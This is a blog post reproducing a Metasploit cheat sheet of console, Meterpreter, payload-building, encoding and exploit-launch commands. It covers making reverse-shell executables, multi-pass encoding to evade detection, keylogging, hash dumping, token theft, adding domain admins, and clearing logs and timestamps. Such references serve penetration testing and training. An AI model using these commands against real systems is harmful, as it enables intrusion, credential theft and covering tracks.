Thursday, July 12, 2012

REFRENCE   METASPOIT
  1. This is a reference for the most frequently used commands and syntax within Metasploit’s various interfaces and utilities.

  2. MSFconsole Commands:

  3. Select All
  4. Code:
  5. show exploits
  6. Show all exploits within the Framework.

  7. Select All
  8. Code:
  9. show payloads
  10. Show all payloads within the Framework.

  11. Select All
  12. Code:
  13. show auxiliary
  14. Show all auxiliary modules within the Framework.


  15. Select All
  16. Code:
  17. search name
  18. Search for exploits or modules within the Framework.

  19. Select All
  20. Code:
  21. info
  22. Load information about a specific exploit or module.

  23. Select All
  24. Code:
  25. use name
  26. Load an exploit or module (example: use windows/smb/psexec).

  27. Select All
  28. Code:
  29. LHOST
  30. Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells.

  31. Select All
  32. Code:
  33. RHOST
  34. The remote host or the target.

  35. Select All
  36. Code:
  37. set function
  38. Set a specific value (for example, LHOST or RHOST).

  39. Select All
  40. Code:
  41. setg function
  42. Set a specific value globally (for example, LHOST or RHOST).

  43. Select All
  44. Code:
  45. show options
  46. Show the options available for a module or exploit.

  47. Select All
  48. Code:
  49. show targets
  50. Show the platforms supported by the exploit.

  51. Select All
  52. Code:
  53. set target num
  54. Specify a specific target index if you know the OS and service pack.

  55. Select All
  56. Code:
  57. set payload payload
  58. Specify the payload to use.

  59. Select All
  60. Code:
  61. show advanced
  62. Show advanced options.

  63. Select All
  64. Code:
  65. set autorunscript migrate -f
  66. Automatically migrate to a separate process upon exploit completion.

  67. Select All
  68. Code:
  69. check
  70. Determine whether a target is vulnerable to an attack.

  71. Select All
  72. Code:
  73. exploit
  74. Execute the module or exploit and attack the target.exploit -j
  75. Run the exploit under the context of the job. (This will run the exploit in the background.)

  76. Select All
  77. Code:
  78. exploit -z
  79. Do not interact with the session after successful exploitation.

  80. Select All
  81. Code:
  82. exploit -e encoder
  83. Specify the payload encoder to use (example: exploit –e shikata_ga_nai).

  84. Select All
  85. Code:
  86. exploit -h
  87. Display help for the exploit command.

  88. Select All
  89. Code:
  90. sessions -l
  91. List available sessions (used when handling multiple shells).

  92. Select All
  93. Code:
  94. sessions -l -v
  95. List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system.

  96. Select All
  97. Code:
  98. sessions -s script
  99. Run a specific Meterpreter script on all Meterpreter live sessions.

  100. Select All
  101. Code:
  102. sessions -K
  103. Kill all live sessions.

  104. Select All
  105. Code:
  106. sessions -c cmd
  107. Execute a command on all live Meterpreter sessions.

  108. Select All
  109. Code:
  110. sessions -u sessionID
  111. Upgrade a normal Win32 shell to a Meterpreter console.

  112. Select All
  113. Code:
  114. db_create name
  115. Create a database to use with database-driven attacks (example: db_create autopwn).

  116. Select All
  117. Code:
  118. db_connect name
  119. Create and connect to a database for driven attacks (example: db_connect autopwn).

  120. Select All
  121. Code:
  122. db_nmap
  123. Use nmap and place results in database. (Normal nmap syntax is supported, such as –sT –v –P0.)

  124. Select All
  125. Code:
  126. db_autopwn -h
  127. Display help for using db_autopwn.

  128. Select All
  129. Code:
  130. db_autopwn -p -r -e
  131. Run db_autopwn against all ports found, use a reverse shell, and exploit all systems.

  132. Select All
  133. Code:
  134. db_destroy
  135. Delete the current database.

  136. Select All
  137. Code:
  138. db_destroy user:password@host:port/database
  139. Delete database using advanced options.

  140. Meterpreter Commands help:
  141. Open Meterpreter usage help.

  142. Select All
  143. Code:
  144. run scriptname
  145. Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory.

  146. Select All
  147. Code:
  148. sysinfo
  149. Show the system information on the compromised target.

  150. Select All
  151. Code:
  152. ls
  153. List the files and folders on the target.

  154. Select All
  155. Code:
  156. use priv
  157. Load the privilege extension for extended Meterpreter libraries.

  158. Select All
  159. Code:
  160. ps
  161. Show all running processes and which accounts are associated with each process.

  162. Select All
  163. Code:
  164. migrate PID
  165. Migrate to the specific process ID (PID is the target process ID gained from the ps command).

  166. Select All
  167. Code:
  168. use incognito
  169. Load incognito functions. (Used for token stealing and impersonation on a target machine.)

  170. Select All
  171. Code:
  172. list_tokens -u
  173. List available tokens on the target by user.

  174. Select All
  175. Code:
  176. list_tokens -g
  177. List available tokens on the target by group.

  178. Select All
  179. Code:
  180. impersonate_token DOMAIN_NAME\\USERNAME
  181. Impersonate a token available on the target.

  182. Select All
  183. Code:
  184. steal_token PID
  185. Steal the tokens available for a given process and impersonate that token.drop_token Stop impersonating the current token.

  186. Select All
  187. Code:
  188. getsystem
  189. Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.

  190. Select All
  191. Code:
  192. shell
  193. Drop into an interactive shell with all available tokens.

  194. Select All
  195. Code:
  196. execute -f cmd.exe -i
  197. Execute cmd.exe and interact with it.

  198. Select All
  199. Code:
  200. execute -f cmd.exe -i -t
  201. Execute cmd.exe with all available tokens.

  202. Select All
  203. Code:
  204. execute -f cmd.exe -i -H -t
  205. Execute cmd.exe with all available tokens and make it a hidden process.

  206. Select All
  207. Code:
  208. rev2self
  209. Revert back to the original user you used to compromise the target.

  210. Select All
  211. Code:
  212. reg command
  213. Interact, create, delete, query, set, and much more in the target’s registry.

  214. Select All
  215. Code:
  216. setdesktop number
  217. Switch to a different screen based on who is logged in.

  218. Select All
  219. Code:
  220. screenshot
  221. Take a screenshot of the target’s screen.

  222. Select All
  223. Code:
  224. upload file
  225. Upload a file to the target.

  226. Select All
  227. Code:
  228. download file
  229. Download a file from the target.

  230. Select All
  231. Code:
  232. keyscan_start
  233. Start sniffing keystrokes on the remote target.

  234. Select All
  235. Code:
  236. keyscan_dump
  237. Dump the remote keys captured on the target.

  238. Select All
  239. Code:
  240. keyscan_stop
  241. Stop sniffing keystrokes on the remote target.

  242. Select All
  243. Code:
  244. getprivs
  245. Get as many privileges as possible on the target.

  246. Select All
  247. Code:
  248. uictl enable keyboard/mouse
  249. Take control of the keyboard and/or mouse.

  250. Select All
  251. Code:
  252. background
  253. Run your current Meterpreter shell in the background.

  254. Select All
  255. Code:
  256. hashdump
  257. Dump all hashes on the target.

  258. Select All
  259. Code:
  260. use sniffer
  261. Load the sniffer module.

  262. Select All
  263. Code:
  264. sniffer_interfaces
  265. List the available interfaces on the target.

  266. Select All
  267. Code:
  268. sniffer_dump interfaceID pcapname
  269. Start sniffing on the remote target.

  270. Select All
  271. Code:
  272. sniffer_start interfaceID packet-buffer
  273. Start sniffing with a specific range for a packet buffer.

  274. Select All
  275. Code:
  276. sniffer_stats interfaceID
  277. Grab statistical information from the interface you are sniffing.

  278. Select All
  279. Code:
  280. sniffer_stop interfaceID
  281. Stop the sniffer.

  282. Select All
  283. Code:
  284. add_user username password -h ip
  285. Add a user on the remote target.

  286. Select All
  287. Code:
  288. add_group_user "Domain Admins" username -h ip
  289. Add a username to the Domain Administrators group on the remote target.

  290. Select All
  291. Code:
  292. clearev
  293. Clear the event log on the target machine.

  294. Select All
  295. Code:
  296. timestomp
  297. Change file attributes, such as creation date (antiforensics measure).

  298. Select All
  299. Code:
  300. reboot
  301. Reboot the target machine.

  302. MSFpayload Commands:

  303. Select All
  304. Code:
  305. msfpayload -h
  306. List available payloads.

  307. Select All
  308. Code:
  309. msfpayload windows/meterpreter/bind_tcp O
  310. List available options for the windows/meterpreter/bind_tcp payload (all of these can use any payload).

  311. Select All
  312. Code:
  313. msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe
  314. Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5 and on port 443, and then save it as a Windows Portable Executable named payload.exe.

  315. Select All
  316. Code:
  317. msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw
  318. Same as above, but export as raw format. This will be used later in msfencode

  319. Select All
  320. Code:
  321. msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
  322. Same as above but export as C-formatted shellcode.

  323. Select All
  324. Code:
  325. msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
  326. Export as %u encoded JavaScript.

  327. MSFencode Commands:

  328. Select All
  329. Code:
  330. msfencode -h
  331. Display the msfencode help.

  332. Select All
  333. Code:
  334. msfencode -l
  335. List the available encoders.

  336. Select All
  337. Code:
  338. msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
  339. Format to display the encoded buffer.

  340. Select All
  341. Code:
  342. msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
  343. Encode payload.raw with shikata_ga_nai five times and export it to an output file named encoded_payload.exe.

  344. Select All
  345. Code:
  346. msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/ _countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
  347. Create a multi-encoded payload.

  348. Select All
  349. Code:
  350. msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
  351. Create pure alphanumeric shellcode where ESI points to the shellcode; output in C-style notation.

  352. MSFcli Commands:

  353. Select All
  354. Code:
  355. msfcli | grep exploit
  356. Show only exploits.

  357. Select All
  358. Code:
  359. msfcli | grep exploit/windows
  360. Show only Windows exploits.

  361. Select All
  362. Code:
  363. msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E
  364. Launch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload being delivered to listen on port 443.
 

No comments:

Post a Comment